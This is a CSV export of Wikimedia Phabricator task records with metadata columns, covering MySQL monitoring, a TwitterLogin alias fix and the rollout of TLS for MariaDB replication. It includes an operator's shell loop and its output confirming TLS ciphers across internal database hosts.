",,,1442519031,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.142857142857143,0.7857142857142857,"This is what I have now:

``CODE``
"
526238,Better mysql monitoring for number of connections and processlist strange patterns,"In particular, not only should we monitor the current connections, but the peak since the last check, as otherwise it may be undetected for short bursts. Related: T109279",,,1442168480,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,3.0,3.0,15.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,3.0,0.0,3.0,0.0,9.0,12.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,9.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.8787878787878788,"In particular, not only should we monitor the current connections, but the peak since the last check, as otherwise it may be undetected for short bursts. Related: T109279"
112436,[TwitterLogin] PHP Notice: Did not find alias for special page 'TwitterLogin'. Perhaps no aliases are defined for it?,,Medium,50.0,1442130864,1443112395.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-TASK-3gn6zg24xw5de3ptutz7,task_description,resolved,True,c3,3,True,True,True,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
534372,[TwitterLogin] PHP Notice: Did not find alias for special page 'TwitterLogin'. Perhaps no aliases are defined for it?,"Change 239154 merged by jenkins-bot:
Fix alias not working

[[https://gerrit.wikimedia.org/r/239154]]",,,1443112192,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3gn6zg24xw5de3ptutz7,task_subcomment,,True,c3,3,False,,,12,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,3.526315789473684,0.8947368421052632,"Change 239154 merged by jenkins-bot:
Fix alias not working

[[GERRIT_URL]]"
529615,[TwitterLogin] PHP Notice: Did not find alias for special page 'TwitterLogin'. Perhaps no aliases are defined for it?,"Change 239154 had a related patch set uploaded (by Paladox):
Fix alias not working

[[https://gerrit.wikimedia.org/r/239154]]
",,,1442513241,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3gn6zg24xw5de3ptutz7,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,3.625,0.875,"Change 239154 had a related patch set uploaded (by Paladox):
Fix alias not working

[[GERRIT_URL]]
"
111654,Set up TLS for MariaDB replication,"MariaDB replication flows are currently not encrypted. They should be, as sometimes they cross datacenter boundaries. I think [[ https://dev.mysql.com/doc/refman/5.1/en/replication-solutions-ssl.html | TLS is supported by MySQL/MariaDB ]] and it would probably be the easiest way forward for this.",Medium,50.0,1441573360,1486660128.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-gzd4fguky5ixnvz46fvu,False,PHID-TASK-wngmzob45sfg4y3xmkhq,task_description,resolved,True,c3,3,True,False,False,9,True,0.0,0.0,0.0,4.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,15.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,7.0,7.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.195652173913044,0.8695652173913043,"MariaDB replication flows are currently not encrypted. They should be, as sometimes they cross datacenter boundaries. I think [[ URL | TLS is supported by MySQL/MariaDB ]] and it would probably be the easiest way forward for this."
806697,Set up TLS for MariaDB replication,"I have restarted all replication channels of dbstore1002/2001/2002 and db1047.

I consider this task resolved, with some follow-ups, less critical that I will handle on a separate ticket, with a different priority.",,,1486660128,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,84,True,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,12.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,4.6,0.825,"I have restarted all replication channels of dbstore1002/2001/2002 and db1047.

I consider this task resolved, with some follow-ups, less critical that I will handle on a separate ticket, with a different priority."
806632,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVojoCv3lCyyDMEPvJwh} [2017-02-09T16:06:23Z] <jynus> rolling restart of replication threads for dbstore1002/2001/2002 T111654",,,1486656384,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,84,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,4.076923076923077,0.8717948717948718,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-02-09T16:06:23Z] <jynus> rolling restart of replication threads for dbstore1002/2001/2002 T111654"
806591,Set up TLS for MariaDB replication,"All core servers/server with core data now support TLS connections and use it for replication (except labs- the new server suport it, but are not accesible remotely for security, and the old ones, to be decommissioned, do not support it ):

```
$ cat [sx]*.hosts | while read host port; do echo -n ""$host $port: ""; /usr/local/bin/mysql -BN -h $host -P $port $db -e ""SELECT 1""; done
db2034.codfw.wmnet 3306: 1
db2042.codfw.wmnet 3306: 1
db2048.codfw.wmnet 3306: 1
db2055.codfw.wmnet 3306: 1
db2062.codfw.wmnet 3306: 1
db2069.codfw.wmnet 3306: 1
db2070.codfw.wmnet 3306: 1
dbstore2001.codfw.wmnet 3306: 1
dbstore2002.codfw.wmnet 3306: 1
db2016.codfw.wmnet 3306: 1
labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
db1069.eqiad.wmnet 3311: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
dbstore1001.eqiad.wmnet 3306: 1
dbstore1002.eqiad.wmnet 3306: 1
db1080.eqiad.wmnet 3306: 1
db1083.eqiad.wmnet 3306: 1
db1089.eqiad.wmnet 3306: 1
db1073.eqiad.wmnet 3306: 1
db1072.eqiad.wmnet 3306: 1
db1066.eqiad.wmnet 3306: 1
db1065.eqiad.wmnet 3306: 1
db1055.eqiad.wmnet 3306: 1
db1051.eqiad.wmnet 3306: 1
db1047.eqiad.wmnet 3306: 1
db1057.eqiad.wmnet 3306: 1
db1052.eqiad.wmnet 3306: 1
dbstore2001.codfw.wmnet 3306: 1
dbstore2002.codfw.wmnet 3306: 1
db2035.codfw.wmnet 3306: 1
db2041.codfw.wmnet 3306: 1
db2049.codfw.wmnet 3306: 1
db2056.codfw.wmnet 3306: 1
db2063.codfw.wmnet 3306: 1
db2064.codfw.wmnet 3306: 1
db2017.codfw.wmnet 3306: 1
labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
db1069.eqiad.wmnet 3312: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
dbstore1002.eqiad.wmnet 3306: 1
dbstore1001.eqiad.wmnet 3306: 1
db1021.eqiad.wmnet 3306: 1
db1024.eqiad.wmnet 3306: 1
db1036.eqiad.wmnet 3306: 1
db1047.eqiad.wmnet 3306: 1
db1054.eqiad.wmnet 3306: 1
db1060.eqiad.wmnet 3306: 1
db1063.eqiad.wmnet 3306: 1
db1067.eqiad.wmnet 3306: 1
db1074.eqiad.wmnet 3306: 1
db1076.eqiad.wmnet 3306: 1
db1090.eqiad.wmnet 3306: 1
db1018.eqiad.wmnet 3306: 1
dbstore2001.codfw.wmnet 3306: 1
dbstore2002.codfw.wmnet 3306: 1
db2036.codfw.wmnet 3306: 1
db2043.codfw.wmnet 3306: 1
db2050.codfw.wmnet 3306: 1
db2057.codfw.wmnet 3306: 1
db2018.codfw.wmnet 3306: 1
labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
db1069.eqiad.wmnet 3313: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
dbstore1001.eqiad.wmnet 3306: 1
dbstore1002.eqiad.wmnet 3306: 1
db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
db1015.eqiad.wmnet 3306: 1
db1035.eqiad.wmnet 3306: 1
db1038.eqiad.wmnet 3306: 1
db1044.eqiad.wmnet 3306: 1
db1077.eqiad.wmnet 3306: 1
db1078.eqiad.wmnet 3306: 1
db1075.eqiad.wmnet 3306: 1
dbstore2002.codfw.wmnet 3306: 1
dbstore2001.codfw.wmnet 3306: 1
db2065.codfw.wmnet 3306: 1
db2058.codfw.wmnet 3306: 1
db2051.codfw.wmnet 3306: 1
db2044.codfw.wmnet 3306: 1
db2037.codfw.wmnet 3306: 1
db2019.codfw.wmnet 3306: 1
labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
db1069.eqiad.wmnet 3314: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
dbstore1001.eqiad.wmnet 3306: 1
dbstore1002.eqiad.wmnet 3306: 1
db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
db1053.eqiad.wmnet 3306: 1
db1056.eqiad.wmnet 3306: 1
db1059.eqiad.wmnet 3306: 1
db1064.eqiad.wmnet 3306: 1
db1068.eqiad.wmnet 3306: 1
db1081.eqiad.wmnet 3306: 1
db1084.eqiad.wmnet 3306: 1
db1091.eqiad.wmnet 3306: 1
db1040.eqiad.wmnet 3306: 1
dbstore2001.codfw.wmnet 3306: 1
dbstore2002.codfw.wmnet 3306: 1
db2038.codfw.wmnet 3306: 1
db2045.codfw.wmnet 3306: 1
db2052.codfw.wmnet 3306: 1
db2059.codfw.wmnet 3306: 1
db2066.codfw.wmnet 3306: 1
db2023.codfw.wmnet 3306: 1
labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
db1069.eqiad.wmnet 3315: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
dbstore1001.eqiad.wmnet 3306: 1
dbstore1002.eqiad.wmnet 3306: 1
db1026.eqiad.wmnet 3306: 1
db1045.eqiad.wmnet 3306: 1
db1070.eqiad.wmnet 3306: 1
db1071.eqiad.wmnet 3306: 1
db1082.eqiad.wmnet 3306: 1
db1087.eqiad.wmnet 3306: 1
db1092.eqiad.wmnet 3306: 1
db1049.eqiad.wmnet 3306: 1
dbstore2001.codfw.wmnet 3306: 1
dbstore2002.codfw.wmnet 3306: 1
db2039.codfw.wmnet 3306: 1
db2046.codfw.wmnet 3306: 1
db2053.codfw.wmnet 3306: 1
db2060.codfw.wmnet 3306: 1
db2067.codfw.wmnet 3306: 1
db2028.codfw.wmnet 3306: 1
labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
db1069.eqiad.wmnet 3316: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
dbstore1001.eqiad.wmnet 3306: 1
dbstore1002.eqiad.wmnet 3306: 1
db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
db1022.eqiad.wmnet 3306: 1
db1023.eqiad.wmnet 3306: 1
db1030.eqiad.wmnet 3306: 1
db1037.eqiad.wmnet 3306: 1
db1061.eqiad.wmnet 3306: 1
db1085.eqiad.wmnet 3306: 1
db1088.eqiad.wmnet 3306: 1
db1093.eqiad.wmnet 3306: 1
db1050.eqiad.wmnet 3306: 1
dbstore2001.codfw.wmnet 3306: 1
dbstore2002.codfw.wmnet 3306: 1
db2040.codfw.wmnet 3306: 1
db2047.codfw.wmnet 3306: 1
db2054.codfw.wmnet 3306: 1
db2061.codfw.wmnet 3306: 1
db2068.codfw.wmnet 3306: 1
db2029.codfw.wmnet 3306: 1
labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
db1069.eqiad.wmnet 3317: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
dbstore1001.eqiad.wmnet 3306: 1
dbstore1002.eqiad.wmnet 3306: 1
db1028.eqiad.wmnet 3306: 1
db1033.eqiad.wmnet 3306: 1
db1034.eqiad.wmnet 3306: 1
db1039.eqiad.wmnet 3306: 1
db1062.eqiad.wmnet 3306: 1
db1079.eqiad.wmnet 3306: 1
db1086.eqiad.wmnet 3306: 1
db1094.eqiad.wmnet 3306: 1
db1041.eqiad.wmnet 3306: 1
dbstore2001.codfw.wmnet 3306: 1
dbstore2002.codfw.wmnet 3306: 1
db2033.codfw.wmnet 3306: 1
dbstore1001.eqiad.wmnet 3306: 1
dbstore1002.eqiad.wmnet 3306: 1
db1029.eqiad.wmnet 3306: 1
db1031.eqiad.wmnet 3306: 1
root@neodymium:~/software/dbtools$ cat [sx]*.hosts | while read host port; do echo -n ""$host $port: ""; /usr/local/bin/mysql -BN -h $host -P $port $db -e ""SHOW STATUS like 'Ssl_cipher'""; done
db2034.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2042.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2048.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2055.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2062.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2069.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2070.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore2001.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore2002.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2016.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
db1069.eqiad.wmnet 3311: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
dbstore1001.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore1002.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1080.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1083.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1089.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1073.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1072.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1066.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1065.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1055.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1051.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1047.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1057.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1052.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore2001.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore2002.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2035.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2041.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2049.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2056.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2063.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2064.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2017.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
db1069.eqiad.wmnet 3312: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
dbstore1002.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore1001.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1021.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1024.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1036.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1047.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1054.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1060.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1063.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1067.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1074.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1076.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1090.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1018.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore2001.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore2002.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2036.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2043.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2050.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2057.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2018.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
db1069.eqiad.wmnet 3313: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
dbstore1001.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore1002.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
db1015.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1035.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
